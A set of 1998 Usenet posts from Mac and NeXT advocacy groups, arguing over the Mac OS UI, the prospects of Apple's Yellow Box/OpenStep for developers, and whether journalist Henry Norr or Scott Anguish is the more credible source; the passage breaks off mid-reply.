Subject: Re: Mac OS X UI
Message-ID: <2H2r1.193$E5.1810459@proxye1.san.rr.com>
Date: Wed, 15 Jul 1998 14:05:50 GMT
NNTP-Posting-Date: Wed, 15 Jul 1998 07:05:50 PDT
Organization: TWC Road Runner, San Diego, CA
Joe Ragosta wrote in message ...
>In article <m%_q1.191$E5.1672335@proxye1.san.rr.com>, "Ed Deans."
>wrote:
>
>> Michael Roeder wrote in message ...
>> >In article <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu>,
>> >Pulsar <tokarek@uiuc.edu> wrote:
>> >
>> >That's because the Mac UI works well and people know it.
>>
>> The Mac UI works. It's debatable whether it works *well.*
>>
>It wouldn't be much of a debate.
>
>Which OS has the highest productivity?
>Which OS has the best ease of use?
>Which OS has the lowest TCO?
>
>The answer to all of these is "Mac OS". That's working well in my book.
First, I note you ignored the rest of my message wherein I cite two
significant examples where Apple itself spent *major* R&D resources on
moving beyond the traditional Macintosh UI that in of itself indicates to me
you're not interested in a useful discussion regarding flaws of the Mac UI
as it will be the basis for the Mac OS X UI, the topic of the thread.
Compared to an anvil, a stapler and a rock, a butter knife makes for a
pretty decent screw driver and in comparison would have the "highest
productivity," "best ease of use" and "lowest TCO" among those options.
That does not mean it really works *well.*
How does the Mac UI work well here when a new user cannot easily determine
their point-of-entry into the system? When you cannot opt to rename a file,
instead of replace it, during a copy or move operation where there is a
naming conflict? When an alias breaks if the original has been 'moved' to
another volume? When you're still forced to use the Chooser? When
drag-drop feedback for similar operations is inconsistent depending on
what's being dragged (yet with no rhyme nor reason): a window, a piece of
text or an icon?
TCO as an argument in favor of one OS UI over another especially when that
OS is tightly coupled with custom hardware is not a fair comparison, imho.
Lowest training costs would be more compelling.
It would appear "working well in [your] book" is a lower standard than in my
book.
--Ed.
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Wed, 15 Jul 1998 08:09:33 -0500
Organization: Prairie Group
Message-ID: <MPG.101666071b7680e298999c@news.supernews.com>
References: <not-1407981048300001@2-25.phx.psn.net> <6ogat2$8vu@shelob.afs.com> <joe.ragosta-1507980631360001@elk60.dol.net>
In article <joe.ragosta-1507980631360001@elk60.dol.net>,
joe.ragosta@dol.net says...
> > But the reasons had nothing to do with technical inability. Those four
> > developers had already been forced to solve cross-platform issues with
> > their own home-grown solutions. There was no point rewriting everything,
> > because it conveyed no fresh advantage *to them*. Furthermore, YB poses
>
> Close. I suspect that they all saw that YB was a superior environment, but
> that it would take too long for them to recover the cost of a wholesale
> rewrite of their apps.
>
That, and YB/OpenStep is not a cross-platform solution. With all non-
PowerMacs and Nubus PowerMacs unable to run Rhapsody, YB/OpenStep is not
a solution to write Mac software for. With now all non-G3 machines
unable to run MacOS X, it's even less of a Mac development environment.
Donald
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity? (Now, the twilight zone)
Date: Wed, 15 Jul 1998 08:18:45 -0500
Organization: Prairie Group
Message-ID: <MPG.1016683166bb45ba98999d@news.supernews.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <MPG.10145c959cb2eb25989990@news.supernews.com> <slrn6qniv1.m36.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <MPG.1015a146386d6523989998@news.supernews.com> <cdoutyEw4C52.2n7@netcom.com>
In article <cdoutyEw4C52.2n7@netcom.com>, cdouty@netcom.com says...
> In article <MPG.1015a146386d6523989998@news.supernews.com>,
> Donald Brown <don.brown@cesoft.com> wrote:
> >In article <slrn6qniv1.m36.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
> >NOSPAMmbkennelNOSPAM@yahoo.com says...
> >> On Mon, 13 Jul 1998 19:04:41 -0500, Donald Brown <don.brown@cesoft.com> wrote:
> >> :Here's what I would need before I even care about how great it is:
> [snip]
> >> :A YellowBox for MacOS 7.x and 8.x
> >>
> >> Never. If MacOS 7/8 were good enough to host OpenStep they wouldn't have
> >> needed to buy NeXT. It's just a near technological impossibility.
> >
> >Then I am not interested in YellowBox until such time as at least the
> >vast majority of Macs are running Rhapsody/X. I can't make a living as a
> >Mac programmer whose Mac programs only run on Rhapsody/X.
>
> So stop thinking of yourself as a *Mac* programmer. Would you rather
> sell to 5,000,000 (assuming half of the installed mac seats can actually run
> your program) Mac users or 50,000,000 Windoze users and an ever-growing
> number of Mac users? That math seems pretty straightforward to me.
True. So I'm also a Windows programmer using Borland's C++ Builder.
Borland, being a software company, is dependant on continued support of
Windows. Apple, whose profits primarily come from hardware, have less
need to support a Windows development platform.
I'm a Mac programmer and I'm a Windows programmer. I'm proud of both of
them. I have more Mac customers than Windows customers at the present
time. (My Windows work is fairly new.) I will not tell 80%+ of my Mac
customers "Screw you, I've found a better development environment so
forget about those upgrades and future products."
> >> You can have 4 of 5
> >
> >Nope. 2 of 5. The 2 meaning that OpenStep lets me sell my product to
> >Windows users and a small, small sliver of Mac users.
>
> You seek to deny the vast majority of computer users the chance to run
> your software until they "prove" themselves? That's the attitude that
> killed the original NeXT and has hampered the Macintosh for 20+ years.
> Of course you may write (or not) in any environment you desire and sell
> to whomever you choose. That is one of your rights as a human being.
So what you're saying is "Go for OpenBox, it's a great Window development
environment, forget the Mac market."
> >No sale.
>
> Your choice.
Yup. And right now, I've got it all. Which I wouldn't be able to do if
I switched to OpenStep.
Donald
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Wed, 15 Jul 1998 11:35:33 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6oi465$5q5$1@nnrp1.dejanews.com>
References: <35AA8501.CF6AAF27@nospam.com> <35AC0107.29F81818@alum.mit.edu> <6ogvfj$opt$2@lwnws01.ne.highway1.com> <us51zrn3j22.fsf@ai.mit.edu> <6oh8n7$4vu$1@camel21.mindspring.com>
In article <6oh8n7$4vu$1@camel21.mindspring.com>,
Matthew Cromer <matthew_cromer@iname.com> wrote:
> Sounds like you have a wonderful life ahead of you coding Visual C++ on
> NT. Have fun!
>
> Don't let the door slap you in the butt on the way out.
The reason that 80+% of the development market is dominated by Visual C++ is
because NeXT had the same attitude that you do.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 15 Jul 1998 06:10:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6oi9n8$5b8@nntp02.primenet.com>
References: <35AA8501.CF6AAF27@nospam.com> <Pine.NXT.3.96.980714095829.3157E-100000@pathos> <6ofu0o$q2h@nntp02.primenet.com> <6og44u$bpf$1@leonie.object-factory.com> <6ogjvs$cti@nntp02.primenet.com> <6ohsev$37k$1@leonie.object-factory.com>
<6oi099$67j$1@sun27.hrz.tu-darmstadt.de> <6oi5rc$37k$2@leonie.object-factory.com>
Holger Hoffstaette <holger@object-factory.REMOVETHIS.com> wrote:
: Christian Neuss wrote:
: > Holger is probably not allowed to discuss this in public, but I may
: > be able to shed some light.
: Gee, thanks.
: > Object-Factory does some very serious development, and they have some
: > very serious large customers, from large industry and the banking sector.
: > He's talking end users, not pre-release software.
: Yeah, but the bank wasn't our biz. A certain government office seems to
: like us, though. ;-)
Are you playing the Open/Yellow shell game? Others in this thread have
repeated that _Yellow_ is not available. The Mac OSes have not reached
customer releases and the Windows runtimes have not been released for
licensing.
?
John
From: Christian Benesch
Newsgroups: comp.sys.next.advocacy
Subject: next.advocacy says:YB is dead -- YB says: next.advocacy is dead!
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Date: 15 Jul 1998 08:38:45 +0100
Tragic, how many people post here that just don't have a clue,whatsoever.
The same,unfounded rantings going on relentlessly since WWDC, and nobody
seems even to care to take a look at sites like www.stepwise.com .
And always the same answer popping to mind:
$400 million down the gutter? It can't be!!!
I think that at least the few optimists here will agree that with Apple
gaining some commercial foothold at last, future is rosier than ever.
This group has a fascination with failure and people are going to extreme
length to support it.(in postings like: Right-hand scroll-bars?? Oh,good
Lord, YB is dead!!!!)
Perhaps I don't quite understand the concept of this group, but "advocacy",
at least to my ears, sounds a little more supportive.
Christian Benesch
(praying for Powerbook G3 support and fed up with all you doom-sayers)
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 15 Jul 1998 13:59:40 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6oickc$d7j$1@sun27.hrz.tu-darmstadt.de>
References: <35AA8501.CF6AAF27@nospam.com> <Pine.NXT.3.96.980714095829.3157E-100000@pathos> <6ofu0o$q2h@nntp02.primenet.com> <6og44u$bpf$1@leonie.object-factory.com> <6ogjvs$cti@nntp02.primenet.com> <6ohsev$37k$1@leonie.object-factory.com> <6oi099$67j$1@sun27.hrz.tu-darmstadt.de> <6oi5rc$37k$2@leonie.object-factory.com>
holger@object-factory.REMOVETHIS.com (Holger Hoffstaette) wrote:
>Christian Neuss wrote:
>> Holger is probably not allowed to discuss this in public, but I may
>> be able to shed some light.
>> Object-Factory does some very serious development, and they have some
>> very serious large customers, from large industry and the banking sector.
>> He's talking end users, not pre-release software.
>
>Yeah, but the bank wasn't our biz. A certain government office seems to
>like us, though. ;-)
Oh.. so I'm the only one here working for a bank, hunh? (hope I'm
allowed to say that much.. if you don't hear from me in the future,
they've taken out and shot me :-)
We really should catch up.. I repeat my offer, I'd be happy to buy
you and Frank a beer. MacWorld in Dusseldorf? Cebit trade fair?
Best regards, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
Date: Wed, 15 Jul 1998 10:47:22 -0400
From: lpreuss@provide.net (Larry Preuss)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <lpreuss-ya02408000R1507981047220001@news.provide.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <stevehix-1407982116340001@ip39.safemail.com>
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In article <stevehix-1407982116340001@ip39.safemail.com>,
stevehix@safemail.com (Steve Hix) wrote:
">"In article <6ogco6$8ma$1@hole.sdsu.edu>, etomlins@rohan.sdsu.edu
">"(tomlinson) wrote:
">"
">"> x.psn.net>
">">
">"> Michael M. Eilers (not@a.valid.email.add) wrote:
">">
">"> : the idea of spending one dime more upgrading it. Computers cost money,
">"> : dammit! Anyone who has ever bought a computer and expected to never buy
">"> : one again is just plain ignorant in the extreme--as stupid as buying
a car
">"> : and thinking the only expenses will be gas, oil, and air filters, and it
">"> : will last forever.
">">
">"> This is an extremely poor analogy, one that does not do your cause
">"> credit. Keeping and maintaining a car for any length of time may
">"> cost money, but not the sort of money needed to get rid of the
">"> car every two years and buy a brand-new replacement. (At least,
">"> no sane person would do that...right?)
">"
">"Waht was the average period of ownership for new cars again?
Between 8 and 9 years.
--
Larry Preuss
Ann Arbor, MI
USA
Date: Wed, 15 Jul 1998 10:50:10 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-1507981050110001@wil45.dol.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <joe.ragosta-1407981638020001@wil37.dol.net> <35ABD8E4.7E40F57F@ericsson.com>
In article <35ABD8E4.7E40F57F@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> Joe Ragosta wrote:
>
> > > Scott is anything but qualified to disparage the likes of Henry Norr.
> > > That's undisputable. Oh, I know how the NeXT community likes to hold
> > > itself above the Mac community, which would obviously make media
> > > personalities like Scott Anguish more credible than longtimers like
> > > Norr.
> >
> > Fine. I've been a Mac user for 13 years now and _I'll_ disparage Norr. He
> > has never been very reliable and has had an anti-Apple chip on his
> > shoulder as long as I can remember.
>
> The question isn't whether or not he has an anti-Apple chip on his
> shoulder. The question is whether the chip has any place being there.
Wrong. The issue is whether, as a journalist, he has presented news in
unbiased fashion. He has not.
>
> Now, we all know how loyal you are, Joe. We're all terribly impressed by
> the way you've suspended as much gray matter activity as possible to
> justify the endless exploitations perpetuated by Apple Computer. One
> might say that you have "an ideological commitment" to Apple Computer's
> positive image. So I'm sure that you won't agree with Norr's assessment
> of Apple.
So we see the famous Michael Peck ad hominem attack. He doesn't have a
real argument, so he resorts to personal attacks. It's quite sad, really.
>
> My observation has been that Norr's criticisms of Apple were *always*
> along the lines of "Apple shouldn't be doing this because Apple would be
> more successful if it weren't." This stands in stark contrast to
> "anti-Apple bias" you described in an earlier post. Norr has a very
> strong pro-Apple bias, and he criticizes what he considers to be bad
> behavior because of it.
You haven't responded to the example I gave.
After the introduction of one round of Macs (the 8600/9600, IIRC), he
completely lambasted Apple because they were 'too expensive'. Of course,
to come up with that conclusion, he compared a fully equipped top of the
line 9600 to a cheap garage shop PC clone. It never occurred to him that
if someone wanted to buy a clone, they shouldn't be comparing its price to
a high end name brand system. At the time, there were multiple Mac cloners
and they were easily competitive in price with the PC. Likewise, the 8600
and 9600 were pretty competitive with name brand systems comparably
equipped.
>
> When one is in favor of something, sometimes one reaches a point where
When have you been in favor of Apple and their products? I can't recall
any time recently.
> it's necessary to actually criticize because of your desire to see
> positive change. That point usually comes when one is convinced that
> nothing but deep and difficult change will turn things around. For me
> that point hit somewhere around the time Steve Jobs hit the company. The
> saddest thing is when despite all the criticism, stupidity prevails and
> the cause sinks anyway. For those last bitter moments, all you can do is
> criticize because there's nothing good left.
Then you shouldn't have any problem disappearing for good. If there's
nothing good left about Apple, what the heck are you doing in this group?
>
> If Norr were truly anti-Apple he'd be thrilled to see Apple plow itself
> into the ground. Norr's distinct displeasure at Apple's idiocy is a
> pretty good indicator of how much he cares. I would say that the
> converse probably applies to you, although you likely don't realize how
> obvious it is.
Another ad hominem attack. Perhaps if you spent as much time trying to
come up with real arguments you'd be a little more believable.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 14:24:31 GMT
Organization: wazza?
Message-ID: <6oie2v$h7g$3@server.signat.org>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
<35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com>
<macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com>
<not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com>
<not-1407981048300001@2-25.phx.psn.net> <6oga6q$iv$1@news.xmission.com>
<35abb32c.0@news.depaul.edu> <joe.ragosta-1407981635580001@wil37.dol.net>
<6oglng$ft8$1@news.digifix.com>
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In <6oglng$ft8$1@news.digifix.com> Scott Anguish wrote:
> The YB runtime issues lie squarely in the realm of Adobe
Not for long, one hopes.
> to a lesser extent the Unisys LZW patent.
Same here, doesn't PDF avoid this issue?
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 14:23:50 GMT
Organization: wazza?
Message-ID: <6oie1m$h7g$2@server.signat.org>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
<35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com>
<macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com>
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In <joe.ragosta-1407982018470001@elk70.dol.net> Joe Ragosta wrote:
> Actually, it precedes that. Mr. Norr has had an apparent anti-Apple bias
> going back a few years--even when he was editor of MacWeek.
I got into a flame war with him on CIS about 3 years ago when he was going
around telling people that the Pentium was faster than the PPC. It sounded
exactly like the raging debates over benchmarks we see here. Luckily we are
now on email-speaking terms again, but as you note above, his opinions may
differ wildly from reality.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 14:29:53 GMT
Organization: wazza?
Message-ID: <6oied1$h7g$4@server.signat.org>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
<35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com>
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<35abb32c.0@news.depaul.edu> <joe.ragosta-1407981635580001@wil37.dol.net>
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In <35abeeba.0@news.depaul.edu> Jonathan W Hendry wrote:
> This wouldn't be a bizarre, new product. It'd be a slight
> modification of the current YellowBox deployment installation.
I've long believed this is a good idea. Let others taylor the "AppKit"
like layers to their own needs and platforms, while gaining the rich
functionality and interoperability of the FK.
This was the basis of the "embedding kit" which would be a small runtime
with FK and a set of objects representing low-end displays and inputs. IE,
using this you could use IB to make a pager OS.
> Now, granted, the D'OLE package didn't sell very many copies.
> But it was rather expensive, too. It certainly wasn't free.
> I don't think the market acceptance of D'OLE
Is it D'OLE we need, or PDO?
Maury
Date: Wed, 15 Jul 1998 10:53:16 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-1507981053160001@wil45.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <stevehix-1407982116340001@ip39.safemail.com> <lpreuss-ya02408000R1507981047220001@news.provide.net>
In article <lpreuss-ya02408000R1507981047220001@news.provide.net>,
lpreuss@provide.net (Larry Preuss) wrote:
> In article <stevehix-1407982116340001@ip39.safemail.com>,
> stevehix@safemail.com (Steve Hix) wrote:
>
> ">"In article <6ogco6$8ma$1@hole.sdsu.edu>, etomlins@rohan.sdsu.edu
> ">"(tomlinson) wrote:
> ">"
> ">"> x.psn.net>
> ">">
> ">"> Michael M. Eilers (not@a.valid.email.add) wrote:
> ">">
> ">"> : the idea of spending one dime more upgrading it. Computers cost money,
> ">"> : dammit! Anyone who has ever bought a computer and expected to never buy
> ">"> : one again is just plain ignorant in the extreme--as stupid as buying
> a car
> ">"> : and thinking the only expenses will be gas, oil, and air filters,
and it
> ">"> : will last forever.
> ">">
> ">"> This is an extremely poor analogy, one that does not do your cause
> ">"> credit. Keeping and maintaining a car for any length of time may
> ">"> cost money, but not the sort of money needed to get rid of the
> ">"> car every two years and buy a brand-new replacement. (At least,
> ">"> no sane person would do that...right?)
> ">"
> ">"Waht was the average period of ownership for new cars again?
>
> Between 8 and 9 years.
No kidding? I've never owned a car over 5. My average is probably 3
(mostly because of the junker used cars I owned when I was in college).
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 14:21:44 GMT
Organization: wazza?
Message-ID: <6oidto$h7g$1@server.signat.org>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
<35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com>
<macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com>
<not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com>
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<not-1407981437080001@1-58.phx.psn.net>
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In <not-1407981437080001@1-58.phx.psn.net> Michael M. Eilers wrote:
> I'm also aware, as others have pointed out on this thread, that Scott is a
> NeXT and potential Yellow Box developer, which most certainly gices him a
> bias in this discussion. A bias that Mr. Norr does not share.
Oh come on! That knife cuts both ways - Norr could have an anti-YB bias
just as much as Scott has a pro-YB one! Considering you've likely met
neither of these people involved, you'd do well to keep your speculations
about their personal motivations to yourself!
Long and short of it:
a) Henry Norr formed an opinion based on a single interview
with a single person inside Apple
b) Scott formed an opinion based on a unknown number of interviews
with an unknown person inside Apple
Yet somehow daring to suggest that Scott's sources may be more reliable has
been characterized as "dragging Henry's name through the mud" and has led to
all sorts of personal insults and innuendo like that above.
You people are shameless.
Maury
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Wed, 15 Jul 1998 10:05:00 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6oighb$5ni2@odie.mcleod.net>
References: <35AA8501.CF6AAF27@nospam.com> <Pine.NXT.3.96.980714095829.3157E-100000@pathos> <6og17t$73c2@odie.mcleod.net> <35ABBEBB.8E6E7CFD@alum.mit.edu> <6oglqb$kto2@odie.mcleod.net>
I would like to take a moment to thank Scott Anguish for is calm voice of
reason and patience in the turbulent time. Apple needs to get the message
out to current and potential YellowBox developers in a way that they are not
currently.
Scott has convinced me that the current Apple FAQ carries more weight than I
would have guessed and is more reliable as a basis for business decisions
than other FAQs.
I was not alone by any stretch of the imagination in believing that
YellowBox is effectively dead. Apple has a serious marketing problem right
now if it is not dead. Scott would probably even agree with me that Apple
is not successfully getting any/much positive message about YellowBox out to
customers.
I used to think YellowBox is dead and Apple is conveying that marketing
message with unprecedented clarity.
Now I believe that YellowBox may live yet, but Apple marketing is
accomplishing the exact opposite of its intention.
This must be addressed soon by Apple before it is too late.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 15 Jul 1998 08:06:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6oiggo$bti@nntp02.primenet.com>
References: <35AA8501.CF6AAF27@nospam.com> <Pine.NXT.3.96.980714095829.3157E-100000@pathos> <6ofu0o$q2h@nntp02.primenet.com> <6og44u$bpf$1@leonie.object-factory.com> <6ogjvs$cti@nntp02.primenet.com> <6ohsev$37k$1@leonie.object-factory.com>
<6oi099$67j$1@sun27.hrz.tu-darmstadt.de> <6oi5rc$37k$2@leonie.object-factory.com> <6oi9n8$5b8@nntp02.primenet.com> <6oid5q$d7j$2@sun27.hrz.tu-darmstadt.de>
Christian Neuss <neuss.nos-pam@informatik.th-darmstadt.de.nos-pam> wrote:
: John Jensen <jjens@primenet.com> wrote:
: >Are you playing the Open/Yellow shell game? Others in this thread have
: >repeated that _Yellow_ is not available. The Mac OSes have not reached
: >customer releases and the Windows runtimes have not been released for
: >licensing.
: Yellow is still in beta, but its predecessor (called OPENSTEP Enterprise
: the last time I looked) has been available for quite some time. And of
: course there's WebObjects and PDO for a variety of platforms. The stuff
: is very portable, going from OS/E to MacOS X Server was a recompile for
: my current project.
If you look back at posts around the time of the NeXT/Apple purchase,
you'll see that I was one of those who wanted Apple to cut the price and
crank up production of *STEP. In early '97. With minimum modification.
In December of '96 I posted:
> I'm nervous about this "merging technology" stuff I see in the press
> releases. It sounds like another opportunity for committies to dilute
> and denude a working system.
Since then Apple has announced plans for two new OSes based on diluted and
denuded *STEP technology. Many *STEP user and developers have stayed with
Apple through these twists and turns. I suppose loyalty in moderation is
to be respected. On the other hand, I am starting to believe Apple's
error (in trying to convert *STEP into new products) is unrecoverable. I
don't think pretending that Apple is done with the new OSes because *STEP
was done years ago helps the situation. It is simply dishonest.
For reference, the statement I responded to was:
: Apple can offer developers a development solution that works RIGHT NOW
: (unlike Java) to bring product to both markets simultatneously.
John
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 15 Jul 1998 15:01:02 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6oig7e$edr@shelob.afs.com>
References: <6oglqb$kto2@odie.mcleod.net>
"Michelle L. Buck" <buck.erik@mcleod.net> writes
> This has happened because Apple reniged on its promis to inexpensively
> liscence YellowBox for deployment on Windows. The current price
> veryfied with Apple Friday is $1400 PER SEAT for deployment.
Wow, you must have really pissed off some people at Apple with your
tirades. Yellow Box for Windows is not a shipping product, so I assume
you are talking about the older OPENSTEP Enterprise for Windows? If so,
your understanding is several orders of magnitude different from mine.
Makes me wonder whether you really do know the right people.
> Our customers want to buy applications NOW and Apple will not let them.
As I said, YB/Windows is not shipping, so what is there to buy? Are
you contending that it will not be available as part of the OSX/Server
release this fall? Because I'm positive that contention would be false.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 14:40:52 GMT
Organization: wazza?
Message-ID: <6oif1k$h7g$5@server.signat.org>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
<35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com>
<macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com>
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Cc: not@a.valid.email.add
In <not-1407982242490001@1-43.phx.psn.net> Michael M. Eilers wrote:
> Norr's credibility comes not from the size of his audience, but from his
> credentials.
Argument from authority? Fallacy 101!
> Wrong again. The bitter, shafted developer stuff came from your rantings
> in general
You characterize Scott's postings as "rantings"? Grow up.
> not any specific statement. And the fact that your audience
> has been around longer is totally irrelevant as well
That's right, all of these arguments you have used to support your "point"
that Norr's opinion is more accurate or valid than Scott's have been
irrelevant indeed. In case you don't remember, this was YOUR point, that
Norr's long history in reporting on Apple somehow makes him more reliable by
fiat. You are wrong.
> a very narrow, specialized audience, has it not? And one that would
> perhaps lead you to lean towards OpenStep/Yellow Box at the cost of your
> objectivity on the subject.
Yet Norr's it seems that everyone agrees that some of Norr's comments in
the past were quite simply wrong. However I've seen no one suggest that
Scott has _ever_ been wrong. So from pure induction that would seem to imply
that Scott's take on the issue is more reliable right there.
You can characterize this as a pro-YB/anti-YB issue if you wish, however
the reality is that this is a programmer/non-programmer issue and that alone.
Had Henry talked to the same people that Scott did, rather than KB, he may
be sharing Scott's opinion.
> Don't misunderstand me--I like the Yellow Box and all it stands for. I've
> used NeXT boxes before, and I really like them. I'm sure OpenStep and
> YellwBox are really great platforms to develop for. That's really not the
> issue here. The issue here is that one person (namely, you) chose to
> attack Norr's credibility
I saw no such "attack". Norr posted his opinion, Scott talked to people he
knew and posted his. YOU have been the one characterizing this as some
personal vendetta.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 14:48:40 GMT
Organization: wazza?
Message-ID: <6oifg8$h7g$6@server.signat.org>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
<35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com>
<macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com>
<6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com>
<joe.ragosta-1407981638020001@wil37.dol.net> <35ABD8E4.7E40F57F@ericsson.com>
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In <35ABD8E4.7E40F57F@ericsson.com> Michael Peck wrote:
> The question isn't whether or not he has an anti-Apple chip on his
> shoulder.
Considering your own arguments against Scott's take on this issue is that
he has a pro-YB "chip" on this shoulder, this is INDEED the question.
> The question is whether the chip has any place being there.
Why should I possibly care why someone else choses to believe what they do?
What bearing could this possibly have on the comments? Either he does, or
he doesn't, the reason why is irrelivant.
> Now, we all know how loyal you are, Joe. We're all terribly impressed by
> the way you've suspended as much gray matter activity as possible to
> justify the endless exploitations perpetuated by Apple Computer.
More insults I see.
> My observation has been that Norr's criticisms of Apple were *always*
